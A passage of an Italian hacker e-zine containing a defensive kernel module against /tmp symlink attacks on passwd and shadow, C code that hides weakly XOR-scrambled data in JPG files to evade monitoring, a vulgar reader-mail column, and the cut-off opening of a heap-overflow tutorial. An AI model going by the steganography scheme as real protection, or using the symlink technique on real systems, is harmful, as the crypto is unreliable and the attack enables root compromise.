NDR: i file del progetto sono in attachment/Moj0-0.1.tar.gz ] --[ STR0NG ---[ syscalo Modulo del kernel per impedire la creazione di link simbolici a file con attributo +i o +a. L'idea mi e` venuta seguendo la discussione su una ml per impedire lo sfuttamento di un bug di un programma di prova che gira con permessi di root e apre un file in /tmp scrivendoci l'input dell'utente; in questo modo creando un link simbolico al file passwd e poi shadow e` possibile crearsi un nuovo account con accesso root. Il bug di questa tecnica e` che cancella tutti gli altri account, ma come e` stato fatto notare vengono mantenute delle copie di backup di questi file, e quindi il loro ripristino da parte dell'attaccante e` immediato! La soluzione sembrava il settaggio dell'attributo +i per i file in questione, ma purtroppo questo impedisce la creazione solo degli hard link. A questo punto arriva StronG, che `hookando' la syscall symlink, controlla che il file che si vuole linkare non abbia attributi +i o +a; se cosi` fosse viene impedita la creazione del link simbolico. Non c'e` altro da aggiungere, vi lascio alla lettura del sorgente C. <-| threads/StronG.c |-> /* * StronG * Impedisce la creazione di link simbolici ai file con attributo +i o +a * Compilazione: gcc -c -O2 -fomit-frame-pointer StronG.c * Installazione: insmod StronG.o * Rimozione: rmmod StronG * * NOTA: il codice per la funzione strong_symlink e' tratto dalla funzione * do_link presente in /usr/src/linux/fs/namei.c * * syscalo */ #define MODULE #define __KERNEL__ #define MYNAME "StronG" #include #include #include #include #include #include extern void *sys_call_table[]; int (*hooked_symlink)(const char *, const char *); int strong_symlink(const char * oldname, const char * newname) { struct dentry *old_dentry; struct inode *inode; int error; lock_kernel(); old_dentry = lookup_dentry(oldname, NULL, 0); error = PTR_ERR(old_dentry); if (IS_ERR(old_dentry)) goto exit_lock; error = -ENOENT; inode = old_dentry->d_inode; if (!inode) goto exit_lock; error = -EPERM; if (IS_APPEND(inode) || IS_IMMUTABLE(inode)) goto exit_lock; error = hooked_symlink(oldname, newname); exit_lock: unlock_kernel(); return error; } int init_module() { hooked_symlink = sys_call_table[SYS_symlink]; sys_call_table[SYS_symlink] = strong_symlink; printk(KERN_INFO "%s loaded\n", MYNAME); return 0; } void cleanup_module() { sys_call_table[SYS_symlink] = hooked_symlink; printk(KERN_INFO "%s removed\n", MYNAME); } <-X-> That's all! bye syscalo --[ NASC0NDERE DATi iN UN FiLE JPG ---[ ORK <----------------------------------------------------------------------------> <- __ ___ _ ----->>---- Nascondere dati in un file JPG ----<<-----> <- / \ | \ | | /\ ------------------------------------------------------> <- / /\ \| |\ \| |/ / --- Autore: --------------- ORK ----------------------> <- / /__\ \ /| / ----Contatti: ------------- orkmail@katamail.com -----> <- \______/ |\ \| | \ ------------------------------------------------------> <---------|_| \_\_|\_\ ------------------------------------------------------> <----------------------------------------------------------------------------> Indice: 0 - Introduzione 1 - Il formato di un file JPG 2 - L'idea 3 - L'implementazione 4 - I possibili impieghi 5 - Riferimenti 0 - Introduzione ---------------- Leggendo l'articolo di valv{0} sul numero 9 di BFi mi e' tornata in mente un'idea che mi era passata per la testa un po' di tempo fa. Fondamentalmente il problema e' sempre quello: come comunicare dati a qualcuno in modo insospettabile e con il minimo rischio di essere scoperti??? L'idea ce l'ha data valv{0} nel suo articolo (in realta' io ci stavo pensando da un po' di tempo), ovvero nascondere i dati all'interno di qualcosa di insospettabile... e cosa puo' essere piu' insospettabile delle foto della cresima di vostro fratello, scattate con la vostra macchina digitale??? Come avrete capito, quello che sto proponendo e' inserire dei dati all'interno di files di immagini, in particolare all'interno di files JPG. La scelta di usare i files JPG per nascondere dei dati non e' stata presa casualmente. I files JPG negli ultimi anni hanno visto una diffusione altissima, infatti li si puo' trovare dovunque, partendo dalla maggior parte dei siti web, per arrivare agli album fotografici digitali. Sicuramente se provate a lanciare il seguente comando $ find / -name *.jpg nei vostri computer di casa salteranno fuori diverse centinaia di files (meglio sorvolare su che immagini sono :) Percio' per il principio che le cose si nascondono meglio nella confusione e all'interno di altre cose che non attirano l'attenzione i files JPG mi sono sembrati la scelta migliore. Come ha detto valv{0} nel suo articolo, comunque, la maggior parte dei formati complessi puo' essere usato come cavallo di Troia :) 1 - Il formato di un file JPG ----------------------------- I files JPG sono formati da un certo numero di segmenti, ognuno dei quali puo' essere lungo al massimo 65535 (2^16) Byte ed inizia con un marcatore. Ogni marcatore e' formato da 2 Byte, il primo sempre con valore 0xFF ed il secondo con un valore compreso tra 0x01 e 0xFE. Il secondo byte specifica il tipo di marcatore. Se il segmento contiene dei dati i 2 Byte che seguono il marcatore indicano la grandezza dei dati. Se, invece, il segmento non contiene dati dopo il marcatore comincia subito il segmento successivo. Ogni segmento percio' ha la seguente struttura: [FFxx][nnnn][dati] ^ ^ ^ | | Dati (nnnn Byte - 2) ) Parti | Intero contenente la lunghezza dei dati + 2 (2 Byte) ) Facoltative Marcatore (2 Byte) Si noti che il numero contenente la grandezza dai dati e' memorizzato con la notazione Bin Endian, e non Little Endian come si e' abituati nei sistemi x86. Tutti i files JPG iniziano con un segmento senza dati identificato dal marcatore FFD8 e terminano con un segmento sempre senza dati identificato dal marcatore FFD9. Tra questi 2 segmenti si possono trovare un numero qualsiasi di altri segmenti. Per capire meglio si prenda in esempio la seguente rappresentazione esadecimale (parziale) di un file JPG. Come si puo' vedere i primi 2 byte sono esattamente il marcatore di inizio immagine FFD8. Siccome questo marcatore non prevede dati aggiuntivi per il segmento i seguenti 2 Byte dovranno essere per forza il marcatore di un nuovo segmento. Ed infatti e' proprio cosi', il segmento seguente e' identificato dal marcatore FFE0. Siccome questo marcatore prevede dati, i seguenti 2 Byte identificano la grandezza della parte dati del segmento. A questo punto per sapere a che indirizzo inizia il segmento successivo basta sommare all'indirizzo del Byte successivo al marcatore la grandezza della parte dati, quindi 0x00000004 + 0x0010 = 0x00000014. A questo indirizzo infatti si trova proprio FFED che e' un marcatore valido. Gli ultimi 2 Byte del file sono FFD9 ovvero il marcatore che identifica la fine dell'immagine. 00000000 FFD8 FFE0 0010 4A46 4946 0001 0201 012C ......JFIF....., 00000010 012C 0000 FFED 00AA 5068 6F74 6F73 686F .,......Photosho 00000020 7020 332E 3000 3842 494D 03ED 0000 0000 p 3.0.8BIM...... 00000030 0010 012B FFD9 0002 0002 012B FFD9 0002 ...+.......+.... 00000040 0002 3842 494D 03F3 0000 0000 0008 0000 ..8BIM.......... 00000050 0000 0000 0000 3842 494D 2710 0000 0000 ......8BIM'..... 00000060 000A 0001 0000 0000 0000 0002 3842 494D ............8BIM 00000070 03F4 0000 0000 0012 0035 0000 0001 002D .........5.....- ... ... ... 00006780 E8DF 87EC D37C 8B6B 5F6F E1EB 5DF1 4D07 .....|.k_o..].M. 00006790 D7F5 053A 573A 469D CFD0 4AF5 A60D DF3F ...:W:F...J....? 000067A0 FFD9 .. In realta' le cose sono un po' piu' complicate, ma per la comprensione e la realizzazione di quello che voglio proporre non serve sapere di piu'. 2 - L'idea ---------- L'idea che mi e' venuta per nascondere i dati e' molto semplice. Ogni immagine comincia con il marcatore FFD8 e termina con il marcatore FFD9. Tutti gli eventuali dati che seguono quest'ultimo marcatore vengono ignorati dai browser o dai programmi di gestione di immagini in quanto l'immagine e' gia' terminata. Quindi un ottimo posto dove nascondere i dati e' proprio la parte finale del file. Per provare che il tutto non crea problemi ai programmi di gestione di immagini provate a lanciare un comando del genere $cat trash >> image.jpg e poi provate ad aprire l'immagine. Non noterete niente di strano. Se al posto di accodare trash si accodasse un file contenente dati significativi (ovviamente criptati... la prudenza non e' mai troppa) si otterrebbe un file JPG perfettamente funzionante, contenente i nostri dati. Per la maggior parte della gente questa sembrera' un'immagine normalissima, mentre per quelli che invece conoscono il segreto questa immagine acquistera' un valore particolare. Di seguito riporto i listati di due programmini pseudo-idioti che si occupano rispettivamente di criptare e fondere un file contenente dei dati con un file JPG e di estrarre e decriptare i dati precedentemente inseriti. Breve descrizione di JPG-Fusion.c Richiede in input 3 nomi di files: il nome del file JPG, il nome del file contenente i dati da nascondere e il nome di file che verra' creato. Il programma banalmente copia il contenuto del file JPG nel nuovo file, cripta il file di dati e lo accoda sempre al nuovo file creato. Come algoritmo di criptazione e' stato usato un algoritmo a chiave simmetrica. La chiave di 16 Byte viene creata prendendo 16 Byte casuali del file JPG. I dati vengono criptati facendo lo XOR tra essi e la chiave. Viene sfruttato il fatto che A XOR B = C e C XOR B = A. Il programma restituisce 2 numeri che sono necessari a JPG-Split.c per recuperare i dati. Il primo numero non e' altro che la grandezza del file JPG, sapendo questo ovviamente si sa dove comincia il file dati. Il secondo numero invece e' il numero di Byte del file JPG da cui si comincia a prelevare la chiave per criptare. Possibili Miglioramenti: - Sarebbe possibile senza troppi sforzi inserire anche il nome del file di dati all'interno del file di Output. Per il momento il nome del file viene perso, lo si deve infatti fornire in input a JPG-Split. - Volendo si potrebbe cambiare algoritmo di criptazione in uno a chiave pubblica e privata. - Si potrebbe aggiungere alla fine del file creato il marcatore di fine immagine (FFD9) cosi' che il file possa sembrare corretto ad un'analisi superficiale. Breve descrizione di JPG-Split.c Richiede in input 4 parametri: il nome del file da cui prelevare i dati, il nome del file da creare, la lunghezza del file JPG e il numero del Byte da cui iniziare a creare la chiave per decriptare i dati. Il programma banalmente estrae i dati, li decripta e li salva sul file. Possibili Miglioramenti: - Sarebbe possibile trovare in maniera automatica la lunghezza del file JPG in base alla posizione del marcatore FFD9. 3 - L'implementazione --------------------- <-|jpg/JPG-Fusion.c |-> /* <----------------------------------------------------------------------------> <- __ ___ _ ----->>---- JPG-Fusion.c ----<<---> <- / \ | \ | | /\ --- -> <- / /\ \| |\ \| |/ / --- Sorgente allegato all'articolo -> <- / /__\ \ /| / --- "Nascondere dati in un file JPG" -> <- \______/ |\ \| | \ --- -> <- |_| \_\_|\_\ ----------------------------------------------------> <----------------------------------------------------------------------------> */ #include #include void cript (char *, char *, int); main(int argc, char *argv[]) { FILE *file1, *file2, *file3; char *tutto1, *tutto2, pad[16]; long file1lung, file2lung; int startpad; time_t secondi; if (argc<4) { printf("USO: %s file1 file2 file3:\n",argv[0]); printf("file1 - file JPG\n"); printf("file2 - file da nascondere\n"); printf("file3 - nome del file di Output\n"); exit(-1); } file1 = fopen(argv[1], "r"); if (file1 == NULL) { printf("Errore di apertura nel file %s\n",argv[1]); exit(-1); } file2 = fopen(argv[2], "r"); if (file2 == NULL) { printf("Errore di apertura nel file %s\n",argv[2]); exit(-1); } file3 = fopen(argv[3], "w"); if (file3 == NULL) { printf("Errore di apertura nel file %s\n",argv[3]); exit(-1); } /* Trova la lunghezza dei 2 files */ fseek(file1, 0, SEEK_END); file1lung = ftell(file1); rewind(file1); fseek(file2, 0, SEEK_END); file2lung = ftell(file2); rewind(file2); /* Legge il contenuto dei 2 files */ tutto1 = (char *) malloc(file1lung); fread(tutto1, 1, file1lung, file1); tutto2 = (char *) malloc(file2lung); fread(tutto2, 1, file2lung, file2); /* Crea la chiave che servira' per criptare i dati */ secondi = time(NULL); srand(secondi); startpad = rand(); startpad= startpad%(file1lung-16); strncpy(pad, tutto1+startpad, 16); /* Cripta i dati */ cript(tutto2, pad, file2lung); /* Crea il file scrivendo prima il file JPG e poi i dati criptati */ fwrite (tutto1, 1, file1lung, file3); fwrite (tutto2, 1, file2lung, file3); printf("Dati necessari per estrarre i dati:\n\nByte: %d\nPad : %d\n", file1lung, startpad); fclose(file1); fclose(file2); fclose(file3); } void cript (char *buff, char *pad, int lung) { int h; for (h=0;h <-| jpg/JPG-Split.c |-> /* <----------------------------------------------------------------------------> <- __ ___ _ ----->>---- JPG-Split.c ----<<---> <- / \ | \ | | /\ --- -> <- / /\ \| |\ \| |/ / --- Sorgente allegato all'articolo -> <- / /__\ \ /| / --- "Nascondere dati in un file JPG" -> <- \______/ |\ \| | \ --- -> <- |_| \_\_|\_\ ----------------------------------------------------> <----------------------------------------------------------------------------> */ #include void decript (char *, char *, int); main(int argc, char *argv[]) { FILE *file1, *file2; char *tutto, pad[16]; long file1lung, file2lung, file3lung; if (argc<5) { printf("USO: %s file1 file2 num:\n",argv[0]); printf("file1 - file JPG\n"); printf("file2 - nome del file di Output\n"); printf("Bytes - numero di byte dell'immagine originale\n"); printf("Pad - numero iniziale del pad\n"); exit(-1); } file1 = fopen(argv[1], "r"); if (file1 == NULL) { printf("Errore di apertura nel file %s\n",argv[1]); exit(-1); } file2 = fopen(argv[2], "w"); if (file2 == NULL) { printf("Errore di apertura nel file %s\n",argv[2]); exit(-1); } /* Trova la lunghezza dei 3 files */ fseek(file1, 0, SEEK_END); file1lung = ftell(file1); file2lung = atoi(argv[3]); file3lung = file1lung-file2lung; if (file2lung>file1lung) { printf("Parametro \"Bytes\" sbagliato\n"); exit(-1); } /* Legge solo la parte dei dati criptati */ rewind(file1); fseek(file1, file2lung, SEEK_CUR); tutto = (char *) malloc(file3lung); fread(tutto, 1, file3lung, file1); /* Crea la chiave che servira' per decriptare i dati */ rewind(file1); fseek(file1, atoi(argv[4]), SEEK_CUR); fread(pad, 1, 16, file1); /* Decripta i dati */ decript(tutto, pad, file3lung); /* Salva i dati sul file */ fwrite (tutto, 1, file3lung, file2); fclose(file1); fclose(file2); } void decript (char *buff, char *pad, int lung) { int h; for (h=0;h 4 - I possibili impieghi ------------------------ Gli impieghi possibili di questa tecnica sono limitati solamente dalla fantasia di chi ne fa uso. Alcuni suggerimenti possono essere i seguenti. Immaginate di avere la necessita' di rendere disponibili dei dati attraverso Internet, in modo da poterli recuperare dovunque vi troviate. Questi dati pero' sono altamente confidenziali e non volete che altre persone, oltre a voi e ai vostri fidatissimi amici, ne vengano in possesso. Quale miglior nascondiglio potreste trovare rispetto alla sezione "Foto della gita in montagna" della vostra Home Page??? Sicuramente questa sara' la sezione piu' noiosa e meno visitata del vostro sito e sicuramente nessuno pensera' che una delle 100 foto di voi con la vostra ragazza che camminate in mezzo alle pecore contenga una sorpresina :) Immaginate oppure di dover far avere delle informazioni private ad un vostro amico attraverso un supporto fisico (tipo un CD) e sapete che nel tragitto probabilmente passera' per mani indiscrete. Cosa c'e' meglio di una bella directory con un migliaio di foto XXX??? Altra applicazione possibile si puo' avere nel caso in cui si abbia la sensazione di avere la casella di posta elettronica controllata. Invece di cambiare indirizzo e-mail o cominciare a criptare le mail (cose che darebbero nell'occhio) basta accordarsi con l'interlocutore per lo scrivere cose semi-inutili nel corpo della mail e allegare un'immagine che in realta' avra' lo scopo di contenere le informazioni importanti. Chiaramente questa tecnica ha anche pesanti limiti, non e' possibili infatti distribuire grosse quantita' di dati. Sicuramente uno che si trova di fronte ad un file JPG di 50 MB si insospettisce come minimo. 5 - Riferimenti --------------- [1] - "CRYX's note about the JPEG decoding algorithm" Writed by Cristi Cuturicu (cccrx@kermit.cs.pub.ro) <----------------------------------------------------------------------------> <------------------- ** Information wants to be Free !! ** ------------------> <----------------------------------------------------------------------------> <------------------------------------------------------------------ By ORK --> <----------------------------------------------------------------------------> ============================================================================== --------------------------------[ EOF 5/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-060100644000175000017500000003244507355704712012644 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 6 di 18 ]-------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ MAiLB0X -----[ Cavallo Ah, che due coglioni. Uno non puo' neanche rilassarsi un attimo che subito arrivano questi scassapalle che, gnigni-gnigni, ti dicono "cava c'e' da fare la posta", "cava scrivi la posta" o, ancora + amichevoli, "scrivi bastardo!" (tanti saluti a quella troia di nelloz). Come se non avessi niente di meglio da fare... . .. ... Vabbe' ok non ho un cazzo da fare, ma questo non vuol dire che debba per forza scrivere la posta :) Ok ok basta lo faccio, e devo anche ricordarmi di non essere troppo scurrile (seee cosi' poi ci mirrorano sull'Accademia della Crusca). Bah vabbe' iniziamo, stavolta la mail ricevute non mi hanno soddisfatto completamente (o comunque mai come la sorella di Slump), quindi pigliamo (IN SENSO FIGURATO) quel che arriva e facciamolo fruttare: first of all un messaggio generico: BASTA MANDARCI RICHIESTE SULL'SMS SPOOFING! Il materiale vi e' stato fornito, l'articolo di jack anche, finitela di mandarci messaggi del tipo "mi mandate la versione gia' compilata per windows" o cose del genere. Sperimentate un po' voi!! -- [1] "dov'e' finita bfi nel 2001?" by scorpion Come da subject...... [come da file...] [2] "Ciao !" by ^Tano^ ciao, complimenti...il vostro forum e' interessante. [Grazie sei molto gentile, ma dichemminghia di forum parli?!? abbiamo un sito, contribuiamo ad una e-zine, abbiamo delle e-mail, qualcuno di noi ha *addirittura* la mamma maiala, ma di certo un forum non lo teniamo :-)] Io chatto in irc da 2 mesi........ [io forse da 4 anni...] ho iniziato com mschat..... [io no :-)] e spesso mi paaria una schermata blu..... allora....ho cercato di capire, ed ho scoperto che che era un bug. [eh brutta cossa li bugg !] adesso chatto usano venom4, client mirc. sto sui vari servers di chatnet, (portland e' il mio preferito xche' ha un bug che permette di trovare gli ip.) adesso....in questi 2 mesi sono cresciuto molto, parlando sempre di chat, [ah nel senso che due mesi fa parlavi di figa come tutti e ora invece discorri de "il pensiero filosofico occidentale dalle origini a oggi" ?] ma ho qualche problemino... [prova con il viagra] ad esempio non riesco anukkare....temo sia colpa della mia connessione, [eh si' allora ci vuole proprio il viagra] ho una cavo. [COS'HAI ??? una cavo ?????? Bifilare o coassiale ? AHAHAHAHAHAH allora sicuramente e' colpa della connessione, devi passare a una fibra ottica con doppia banda laterale e portante soppressa, ovviamente devi stare attento che il filtro sia adattato e il fattore di roll-off non sia superiore a 0.5, chiaramente, altrimenti la banda non e' sufficiente per "anukkare"....] io conosco solo 2 bugs... he obbligano chi lo subisce a resettare il pc. adesso pero'.,....come sapete i rompi palle sono sempre connessi!!!! e se non usano mschat io devo sopportarli. quindi....siate cosi' gentili da dirmi cosa posso fare....i programmi x nukkare gli ho provati tutti, ma nessun risultato! Grazie davvero....... [mmm penso che la soluzione migliore si cambiare canale/server/rete o magari passare a miglior vita..] ditemi su quale server state...che passo a trovarvi!!!! [citero' un film : "io sono ovunque, e in nessun luogo sono chiunque, e nessuno io sono DARKMAN"] [3] "bijoo.com" da info@bijoo.com In occasione delle festa della mamma, [Evvai la festa della maialaaaaaaaaaaaaaaaaaaaaaaaaaaa!!!!!!!] BIJOO.com, la gioielleria on-line lancia una grande campagna di affiliazione. [Wow addirittura ? ] BIJOO.com vi propone di guadagnare divenendo suo partner. [Mmm interessante...] Il nostro programma di affiliazione vi permettera' di ricevere una commissione del 5% sul montante totale di fatturato generato dai visitatori provieniente dal vostro sito*. [Fikata!!! come ho fatto a vivere finora senza ??? Bene, e ora potete anche andare-affare-inculo voi e il vostro spam di merda, e ovviamente vostra madre festeggiata. Ops scusa smaster, sono stato un po' scurrile, chiedo venia...] [4] "non so se ho capito..." by Valentina-Davide Inizio con il chiederti scusa per l'ingnoranza in materia che ho ... e quindi le cazzate cerca di correggermele .... 8=) [wow che sorriso...fallico!] Allora .. sono il rompiballe di turno ..anzi moltoprobabilmente non ti arrivera' neanche questa e.mail ....ma tentar non nuoce ['caputtana e' arrivata...] La rivista come cazzo si chiama ??? [B.F.i. che e' l'acronimo (che non e' una bestemmia) di Butchered From Inside] Io faccio parte di quella schiera di martellatori che cercano di estrapolare [caz invece di smanettoni ora si chiamano martellatori ? a me st'aggettivo piu' che Wargames o Hackers ricorda i film di Rocco Siffredi...] il piu' possibile dalle persone per imparare a far da se ... Ho capito +o- che la rivista tratta molto di hakkeraggi vari e operazioni simili ... [beh, fusys si occupa non solo di questi tipi di operazioni, per esempio se ti puo' interessare si occupa anche di fistole anali] Il mio interesse e quello che non vorresti che io abbia ..( capire come ...) [no, capire piu' che altro l'italiano della frase...] m,a non lo chiedo a te perche' hai 1000000 altre cose da fare ma se si potessero avere degli indirizzi o dei siti specifici in cui si possono lasciare messaggi per poter contattare hakers anche piccolini ... tanto ho tempo a imparare !! [beh, ma perche' non vai nella sezione links del sito www.s0ftpj.org e ti scarichi qualche documento? non e' necessario parlare con qcuno, e poi io di hackers nani non ne conosco :)] Ovviamente sei libero di mandarmi a fanculo e ....non ne rimarrei neanche sorpreso ...ma se hai un flasch fammi sapere ... Anche se della rivista dovresti avere un' e-mail con un po di puttanate di descrizione della rivista !!(mandameli ...non ti costa molto !!) [EEEEEHHHHHHH ???????] Con questo siamo a posto !! Ciao e ....basta [hai ragione, basta che se no mi viene il mal di testa..] [5] "sito" by Boss Ho letto il vostro sito sia http://www.s0ftpj.org sia http://www.s0ftpj.org/bfi/ [come ti sono sembrati? ww.s0ftpj.org mi sembrava piu' completo dell'altro non trovi? Ah queste dannate sottodirectory che limitano le informazioni...] Avrei una domanda: la polizia pu' entrarmi nel computer senza avermi avvisato? Mi e' capitato per questo ve lo chiedo. [ti e' capitato che sia entrata la polizia !??! guarda che e' moooolto piu' probabile che sia qche lamerino che scanna, la pula se proprio vuole entrare passa dalla porta col mandato...] Rispondetemi al piu' presto al indirizzo 0347xxxxxxxx@mail.omnitel.it e' importante. [Cazz che fiducia che hai in noi, anche il numero di telefono :)] Vi ringrazio. By Boss. P.S. Le vostre guide sono fantastiche, non c'e' paregone. [Beh, secondo me e' meglio Playmen, poi ognuno faccia i parEgoni che vuole...] [6] sadio by Lorenz sono una ragazza in difficolta telefono troppo col mio cellulare omnitel.. .....non ho piu' soldini ho saputo di un software gpshady dove lo trovo? puoi aiutarmi? [Tutte minchiate quei sw, trovati un lavoro o usa meno il telefono :)] molte grazie e complimenti sei un genio [Era ora che qualcuno se ne accorgesse... ^__^] [7] "ciao!" by zuluvbr Ciao, da qualche anno mi diletto con il softice a craccare qualche programma... vorrei entrare a far parte di qualche gruppo con il mio stesso hobbie... Ce ne sono in italia? Come li trovo? I miei crack (patch) possono servire a qualcuno? [Fai un salto su #crack-it su ircnet o cerca il sito dei ringzer0, un gruppo molto valido, dovrebbe essere ringzer0.cjb.net] [8] "domanda" by francesco salve sono un accanito lettore della vostre e-zine e sono fatte veramnente bene, come faccio a non lasciare traccia usando telnet? [Usa i guanti] So che e' una domanda stupida ma mi potreste aiutare grazie [come diceva qualcuno molto piu' saggio di me: "non ci sono domande stupide, ci sono solo coglioni che le fanno" o forse la frase non era proprio cosi' ?? :)))] [9] "http://www.fabbrihotels.com/" by Spam Engine Sito internet: http://www.fabbrihotels.com/ Tutti i servizi, i prezzi, le offerte speciali e le informazioni utili per prenotare, anche on-line, soggiorni al mare e in montagna, soggiorni d'affari e soggiorni per gruppi in una delle confortevoli [Che dite, ci facciamo organizzare l'hackmeeting del 2002 ? Bah, che tristezza, sempre a spammare, poi magari se la pigliano se qualche lettore NON CERTO SPINTO DA ME li defaccia...] [A] "salve" by c1cc1o ero partito con l'idea di mandarvi a fare in culo perche' non mi avevate avvisato della mancata pubblicazione del mio articolo sull'icmp nel kernel in bfi9. Ora, a fronte di alcuni articoli che mi sto spolpando or ora, vorrei dirvi che non me ne frega un cazzo della mancata pubblicazione, perche' in effetti quello che ho scritto non vale molto in confronto con articoli quali "Come fottere il TCP/IP fingerprinting". Anzi, quell'articolo e' un mito. Vabbe', vorrei cmq mandarvi a fankulo, in parte perche' l'inkazzatura non mi e' passata, in parte perche' potevate dirmelo che l'articolo non usciva e io non ci rimanevo con la faccia di merda che cio' ora. Riassumendo: bravi, ma andate a ffankulo ^_^ [Grazie, e saluta la mamma ^_^] [B] Tre messaggi con subject "Picture SMS", "Pulizia Affettatrice" (hihi) e "Xoanon" (poverello) Hi! How are you? I send you this file in order to have your advice See you later. Thanks [Grazie molto gentile, ma considerate questo: 1) i virus mi possono anche piacere 2) i virus mi piacciono un po' meno quando li mandano a me 3) i virus non mi piacciono per nulla quando occupano 550kbyte e intasano la MIA SACRA FOTTUTA BANDA quindi fottetevi voi e il vostro SIRCAM o comecazzosichiamastovirusdimerda] [C] sadio by Boss (si, e' sempre lui :-)) Ciao raga! Siete una bomba! Ora sto leggendo per la terza volta le vostre guide del bfi. Cosa hanno di diverso? L'UMORISMO!!! Siete unici!!! [Grazie grazie clap clap clap! :)] Avrei qualche domanda sull'hacking da porvi... ma forse non avete tempo... se posso ditemelo! [Te prova, male che vada insultiamo pesantemente te e la tua famiglia..] By Boss. P.S. Siete una figata! [Sei una figa!] P.S. P.S. Piu' o meno di che citta' siete? [di Tarapio Tapioco, provincia di Antani, stato del Mufasa Orientale, conosci?] [D] sadio by andre voglio diventare un hacker come faccio? [Vendi il culo] [E] "importante informazione!" by maquila ciao,ho letto la tua"guida alla sopravvivenza per non crakkatori" e mi sono accorto che tu hai scritto che i programmatori di windows nn hanno messo un icona per l'editor del registro di configurazione.Beh,mi dispiace per te (xke sei un mito) ma l'icona c'e' : e' l'icona regedit che si trova nella cartella di windows (c:\windows)! comunque complimenti! ciao! condor 666 [A dir la verita' non ricordo assolutamente dove ho scritto tale cosa, comunque nel caso l'avessi fatto, mi dispiace correggerti (xke non hai capito un cazzo) ma io sicuramente intendevo dire che non c'e' l'icona nel menu' di avvio e quindi se uno non conosce il programma non sa dove andarlo a prendere.] -- Le mail sono finite e ora concludo con i DOVEROSI greetings (tutty ovviamente *falsi* dato che mi sono stati richiesti/imposti): -un Saluto Molto Affezionato, Rivolto Teste' Con Ardore Risoluto e Deciso a quella giovane sola di Jollino (e a Pannocchia) -una stretta di mano (ma forse preferirebbe un ano ristretto) a tetsuo, dall'alto dei 30 milioni che lo stato passa ogni anno alla sua provincia autonoma di sta ceppa (fonte IlSole24Ore) -un saluto (e una fistola) anale a felipe (che rulezza di brutta maniera pur essendo tremendamente buggaro) (fonte dmp) -a tutti i nostri lettori: textuali, htmllosi, speechenginati, braille e ai numerosi ma soprattutto alle numerose che ormai da anni ci tramandano per via orale (fonte LaMammaDiAngelo.org.asm.unf.unf.unf) -infine un abbraccio a recidjvo, ricordandogli che tra il dire e il fare c'e' di mezzo *y* (questo almeno in spagnolo :-)) e non ti dimenticare di portare rispetto, almeno finche' bfi continuera' ad uscire e la qui presente suprema eminenza e deficienza continuera' a occuparsi della posta :-) Anche per questo numero e' tutto, vi lascio pero' con una poesia di una profondita' oserei dire devastante. Mi ha colpito soprattutto il fatto che una tragedia del genere potrebbe capitare (o forse e' gia' capitata) a molti di voi. Io l'ho trovata online, non voglio certo prendermi meriti non miei, ve la riporto intatta cosi' come l'ho scaricata, anche per farvi capire che anche io a volte riesco a essere serio e a non comportarmi da idiota. NON SOLO FIUMI DI PAROLE... Io e te seduti accanto in macchina Sotto una pioggia battente Parlare delle nostre incomprensioni All'improvviso fuggire via da te Senza dire una parola Brividi freddi mi corrono lungo la schiena E gocce di sudore mi imperlano la fronte Il dolore mi fa contorcere Come una foglia verde tra le fiamme Mentre sto qui seduto tremante L'universo intorno a me si espande. Che brutta cosa la diarrea... ============================================================================== --------------------------------[ EOF 6/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-070100644000175000017500000004742307355704712012647 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 7 di 18 ]-------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ N0N E` TUTT0 HEAP QUELL0 CHE N0N E` STACK -----[ Nail - Prima di tutto, i ringraziamenti: gli abitanti di #k*, di #k* e di #social(specialmente zenparse e hcl) il team di salumeria di #sikurezza@undernet. tutti i mistici e la redazione di BFi. stakka&skynet perche' le loro tracce fanno paura ;) gli ozric tentacles perche' sono rilassantissimi. .. direi che bastano perche' ho citato mezzo mondo in 3 righe :P Prerequisiti: - Perfetta conoscenza del C :) - Concetto di stack, di heap e di bss - Stack e format based overflows - Un'infarinatura di gdb - Voglia di imparare. -1. Di cosa stiamo parlando All'inizio era lo stack. Lo stack overflow intendo :) Dopo venne l'heap (ed il bss), cioe' tutta quella parte di memoria sempre valida che non era stack. Poi vennero le format string, ma stiamo parlando di tecniche completamente diverse. Per cui, a rigor di logica, cio' che non e' stack, e' heap. E questo limiterebbe appunto i buffer overrun a stack ed heap. Ma ne siamo proprio sicuri? Proviamo a far partire un qualsiasi programma e a curiosare la sua entry nel proc filesystem. [/proc/342] $ ls cmdline cpu cwd@ environ exe@ fd/ maps| mem root@ stat statm status maps, un file dimenticato da molti, ma utilissimo. Esso infatti contiene le varie porzioni di memoria associate fin dal run a quel processo e che proprieta' esse abbiano (r/w/x): 08048000-08049000 r-xp 00000000 03:06 148024 /home/nail/timer 08049000-0804a000 rw-p 00000000 03:06 148024 /home/nail/timer 40000000-40013000 r-xp 00000000 03:05 5982 /lib/ld-2.1.3.so 40013000-40014000 rw-p 00012000 03:05 5982 /lib/ld-2.1.3.so 40014000-40015000 rw-p 00000000 00:00 0 4001c000-400fe000 r-xp 00000000 03:05 5993 /lib/libc-2.1.3.so 400fe000-40102000 rw-p 000e1000 03:05 5993 /lib/libc-2.1.3.so 40102000-40107000 rw-p 00000000 00:00 0 bfffe000-c0000000 rwxp fffff000 00:00 0 Bene, forse non e' tutto heap quello che non e' stack :) E ovviamente, e' tutta da esplorare (where no man has gone before... hem, qualcuno c'e' gia' andato mi sa... si'... ho trovato un preservativo usato per terra :P) 0. Struttura di un ELF. Quella porzione di memoria di cui parlavamo e' destinata a contenere alcune tabelle proprietarie del formato ELF per la rilocazione. Ovviamente questa frase puo' sembrare roba che si mangia senza un'opportuna spiegazione, per cui.. :) Ogni programma compilato come ELF contiene soltanto il codice delle funzioni scritte da noi (es. il main) mentre tutte le funzioni di libreria (printf, strcpy,...) rimangono in una shared library esterna (le libc) e vengono poi caricate in memoria soltanto quando servono. Questo quindi non ci permette di sapere la posizione assoluta del reale codice di una chiamata in una library esterna. La soluzione e' quindi caricare la parte di libreria esterna solo quando strettamente necessario e ricavare dall'header della libreria il puntatore al codice necessario. Il nostro codice ovviamente da qualche parte deve jumpare per chiamarle... Allora ecco che sono nate la GOT e la PLT. GOT = Global Offset Table PLT = Procedure Linkage Table Queste due tabelle fanno parte della cosiddette 'dynamic relocation entries' del nostro eseguibile. Sintetizzando dalla bibba degli ELF (127 kb di 